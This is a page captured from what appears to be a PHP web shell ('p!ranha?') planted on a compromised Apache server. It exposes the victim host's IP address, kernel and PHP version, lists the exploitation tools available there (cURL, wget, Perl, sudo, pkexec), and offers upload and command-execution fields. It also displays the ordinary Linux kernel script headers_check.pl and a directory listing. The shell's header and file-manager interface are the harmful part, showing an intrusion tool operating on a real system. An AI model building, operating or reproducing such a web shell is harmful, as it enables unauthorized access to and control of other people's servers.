p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/scripts/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/scripts/headers_check.pl
#!/usr/bin/perl -w
#
# headers_check.pl execute a number of trivial consistency checks
#
# Usage: headers_check.pl dir arch [files...]
# dir:   dir to look for included files
# arch:  architecture
# files: list of files to check
#
# The script reads the supplied files line by line and:
#
# 1) for each include statement it checks if the
#    included file actually exists.
#    Only include files located in asm* and linux* are checked.
#    The rest are assumed to be system include files.
#
# 2) It is checked that prototypes does not use "extern"
#
# 3) Check for leaked CONFIG_ symbols

use strict;
use File::Basename;

my ($dir, $arch, @files) = @ARGV;

my $ret = 0;
my $line;
my $lineno = 0;
my $filename;

foreach my $file (@files) {
	$filename = $file;

	open(my $fh, '<', $filename)
		or die "$filename: $!\n";
	$lineno = 0;
	while ($line = <$fh>) {
		$lineno++;
		&check_include();
		&check_asm_types();
		&check_sizetypes();
		&check_declarations();
		# Dropped for now. Too much noise &check_config();
	}
	close $fh;
}
exit $ret;

sub check_include
{
	if ($line =~ m/^\s*#\s*include\s+<((asm|linux).*)>/) {
		my $inc = $1;
		my $found;
		$found = stat($dir . "/" . $inc);
		if (!$found) {
			$inc =~ s#asm/#asm-$arch/#;
			$found = stat($dir . "/" . $inc);
		}
		if (!$found) {
			printf STDERR "$filename:$lineno: included file '$inc' is not exported\n";
			$ret = 1;
		}
	}
}

sub check_declarations
{
	# soundcard.h is what it is
	if ($line =~ m/^void seqbuf_dump\(void\);/) {
		return;
	}
	if ($line =~ m/^(\s*extern|unsigned|char|short|int|long|void)\b/) {
		printf STDERR "$filename:$lineno: " .
			      "userspace cannot reference function or " .
			      "variable defined in the kernel\n";
	}
}

sub check_config
{
	if ($line =~ m/[^a-zA-Z0-9_]+CONFIG_([a-zA-Z0-9_]+)[^a-zA-Z0-9_]/) {
		printf STDERR "$filename:$lineno: leaks CONFIG_$1 to userspace where it is not valid\n";
	}
}

my $linux_asm_types;
sub check_asm_types
{
	if ($filename =~ /types.h|int-l64.h|int-ll64.h/o) {
		return;
	}
	if ($lineno == 1) {
		$linux_asm_types = 0;
	} elsif ($linux_asm_types >= 1) {
		return;
	}
	if ($line =~ m/^\s*#\s*include\s+<asm\/types.h>/) {
		$linux_asm_types = 1;
		printf STDERR "$filename:$lineno: " .
		"include of <linux/types.h> is preferred over <asm/types.h>\n"
		# Warn until headers are all fixed
		#$ret = 1;
	}
}

my $linux_types;
my %import_stack = ();
sub check_include_typesh
{
	my $path = $_[0];
	my $import_path;

	my $fh;
	my @file_paths = ($path, $dir . "/" .  $path, dirname($filename) . "/" . $path);
	for my $possible ( @file_paths ) {
	    if (not $import_stack{$possible} and open($fh, '<', $possible)) {
		$import_path = $possible;
		$import_stack{$import_path} = 1;
		last;
	    }
	}
	if (eof $fh) {
	    return;
	}

	my $line;
	while ($line = <$fh>) {
		if ($line =~ m/^\s*#\s*include\s+<linux\/types.h>/) {
			$linux_types = 1;
			last;
		}
		if (my $included = ($line =~ /^\s*#\s*include\s+[<"](\S+)[>"]/)[0]) {
			check_include_typesh($included);
		}
	}
	close $fh;
	delete $import_stack{$import_path};
}

sub check_sizetypes
{
	if ($filename =~ /types.h|int-l64.h|int-ll64.h/o) {
		return;
	}
	if ($lineno == 1) {
		$linux_types = 0;
	} elsif ($linux_types >= 1) {
		return;
	}
	if ($line =~ m/^\s*#\s*include\s+<linux\/types.h>/) {
		$linux_types = 1;
		return;
	}
	if (my $included = ($line =~ /^\s*#\s*include\s+[<"](\S+)[>"]/)[0]) {
		check_include_typesh($included);
	}
	if ($line =~ m/__[us](8|16|32|64)\b/) {
		printf STDERR "$filename:$lineno: " .
		              "found __[us]{8,16,32,64} type " .
		              "without #include <linux/types.h>\n";
		$linux_types = 2;
		# Warn until headers are all fixed
		#$ret = 1;
	}
}
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:52
0 / 0
0755
basic
--
January 19 2024 08:12:51
0 / 0
0755
coccinelle
--
January 19 2024 08:12:51
0 / 0
0755
dtc
--
January 19 2024 08:12:51
0 / 0
0755
genksyms
--
January 19 2024 08:12:52
0 / 0
0755
kconfig
--
January 19 2024 08:12:52
0 / 0
0755
ksymoops
--
January 19 2024 08:12:52
0 / 0
0755
mod
--
January 19 2024 08:12:52
0 / 0
0755
package
--
January 19 2024 08:12:52
0 / 0
0755
rt-tester
--
January 19 2024 08:12:52
0 / 0
0755
selinux
--
January 19 2024 08:12:52
0 / 0
0755
tracing
--
January 19 2024 08:12:52
0 / 0
0755
Kbuild.include
10.251 KB
November 06 2023 09:15:52
0 / 0
0644
Lindent
0.449 KB
November 06 2023 09:15:52
0 / 0
0755
Makefile
1.394 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.asm-generic
0.668 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.build
15.908 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.clean
3.232 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.fwinst
2.026 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.headersinst
4.716 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.help
0.066 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.host
6.458 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.lib
13.569 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.modbuiltin
1.783 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.modinst
1.158 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.modpost
5.148 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.modsign
0.979 KB
November 06 2023 09:15:52
0 / 0
0644
asn1_compiler
22.336 KB
December 07 2023 15:51:35
0 / 0
0755
asn1_compiler.c
33.967 KB
November 06 2023 09:15:52
0 / 0
0644
bloat-o-meter
1.755 KB
November 06 2023 09:15:52
0 / 0
0755
bootgraph.pl
5.62 KB
November 06 2023 09:15:52
0 / 0
0644
checkincludes.pl
1.773 KB
November 06 2023 09:15:52
0 / 0
0755
checkkconfigsymbols.sh
1.82 KB
November 06 2023 09:15:52
0 / 0
0755
checkpatch.pl
101.344 KB
November 06 2023 09:15:52
0 / 0
0755
checkstack.pl
5.335 KB
November 06 2023 09:15:52
0 / 0
0755
checksyscalls.sh
5.637 KB
November 06 2023 09:15:52
0 / 0
0755
checkversion.pl
1.859 KB
November 06 2023 09:15:52
0 / 0
0755
cleanfile
3.41 KB
November 06 2023 09:15:52
0 / 0
0755
cleanpatch
5.012 KB
November 06 2023 09:15:52
0 / 0
0755
coccicheck
3.775 KB
November 06 2023 09:15:52
0 / 0
0755
config
3.646 KB
November 06 2023 09:15:52
0 / 0
0755
conmakehash
10.164 KB
December 07 2023 15:51:35
0 / 0
0755
conmakehash.c
5.998 KB
November 06 2023 09:15:52
0 / 0
0644
decodecode
2.149 KB
November 06 2023 09:15:52
0 / 0
0755
depmod.sh
1.668 KB
November 06 2023 09:15:52
0 / 0
0755
diffconfig
3.541 KB
November 06 2023 09:15:52
0 / 0
0755
docproc.c
13.694 KB
November 06 2023 09:15:52
0 / 0
0644
export_report.pl
4.534 KB
November 06 2023 09:15:52
0 / 0
0644
extract-ikconfig
1.645 KB
November 06 2023 09:15:52
0 / 0
0755
extract-vmlinux
1.599 KB
November 06 2023 09:15:52
0 / 0
0755
gcc-goto.sh
0.454 KB
November 06 2023 09:15:52
0 / 0
0644
gcc-version.sh
0.803 KB
November 06 2023 09:15:52
0 / 0
0644
gcc-x86_32-has-stack-protector.sh
0.18 KB
November 06 2023 09:15:52
0 / 0
0644
gcc-x86_64-has-stack-protector.sh
0.195 KB
November 06 2023 09:15:52
0 / 0
0644
gen_initramfs_list.sh
7.382 KB
November 06 2023 09:15:52
0 / 0
0644
get_maintainer.pl
54.114 KB
November 06 2023 09:15:52
0 / 0
0755
gfp-translate
1.711 KB
November 06 2023 09:15:52
0 / 0
0755
headerdep.pl
3.465 KB
November 06 2023 09:15:52
0 / 0
0755
headers.sh
0.518 KB
November 06 2023 09:15:52
0 / 0
0755
headers_check.pl
3.6 KB
November 06 2023 09:15:52
0 / 0
0644
headers_install.sh
1.279 KB
November 06 2023 09:15:52
0 / 0
0644
kallsyms
14.43 KB
December 07 2023 15:51:35
0 / 0
0755
kallsyms.c
16.522 KB
November 06 2023 09:15:52
0 / 0
0644
kernel-doc
71.414 KB
November 06 2023 09:15:52
0 / 0
0755
link-vmlinux.sh
5.648 KB
November 06 2023 09:15:52
0 / 0
0644
makelst
0.755 KB
November 06 2023 09:15:52
0 / 0
0755
markup_oops.pl
8.08 KB
November 06 2023 09:15:52
0 / 0
0644
mkcompile_h
2.461 KB
November 06 2023 09:15:52
0 / 0
0755
mkmakefile
1.167 KB
November 06 2023 09:15:52
0 / 0
0644
mksysmap
1.319 KB
November 06 2023 09:15:52
0 / 0
0644
mkuboot.sh
0.37 KB
November 06 2023 09:15:52
0 / 0
0755
mkversion
0.072 KB
November 06 2023 09:15:52
0 / 0
0644
module-common.lds
0.739 KB
November 06 2023 09:15:52
0 / 0
0644
modules.order
0 KB
December 07 2023 15:40:23
0 / 0
0644
namespace.pl
13.001 KB
November 06 2023 09:15:52
0 / 0
0755
patch-kernel
9.914 KB
November 06 2023 09:15:52
0 / 0
0755
pnmtologo
14.188 KB
December 07 2023 15:51:35
0 / 0
0755
pnmtologo.c
11.912 KB
November 06 2023 09:15:52
0 / 0
0644
profile2linkerlist.pl
0.366 KB
November 06 2023 09:15:52
0 / 0
0644
recordmcount
18.281 KB
December 07 2023 15:51:35
0 / 0
0755
recordmcount.c
12.398 KB
November 06 2023 09:15:52
0 / 0
0644
recordmcount.h
16.339 KB
November 06 2023 09:15:52
0 / 0
0644
recordmcount.pl
17.568 KB
November 06 2023 09:15:52
0 / 0
0755
setlocalversion
3.938 KB
November 06 2023 09:15:52
0 / 0
0755
show_delta
2.981 KB
November 06 2023 09:15:52
0 / 0
0755
sign-file
12.164 KB
November 06 2023 09:15:52
0 / 0
0755
sortextable
14.188 KB
December 07 2023 15:51:35
0 / 0
0755
sortextable.c
7.412 KB
November 06 2023 09:15:52
0 / 0
0644
sortextable.h
5.479 KB
November 06 2023 09:15:52
0 / 0
0644
tags.sh
9.87 KB
November 06 2023 09:15:52
0 / 0
0755
unifdef
26.336 KB
December 07 2023 15:51:35
0 / 0
0755
unifdef.c
34.804 KB
November 06 2023 09:15:52
0 / 0
0644
ver_linux
3.091 KB
November 06 2023 09:15:52
0 / 0
0755
xz_wrap.sh
0.549 KB
November 06 2023 09:15:52
0 / 0
0644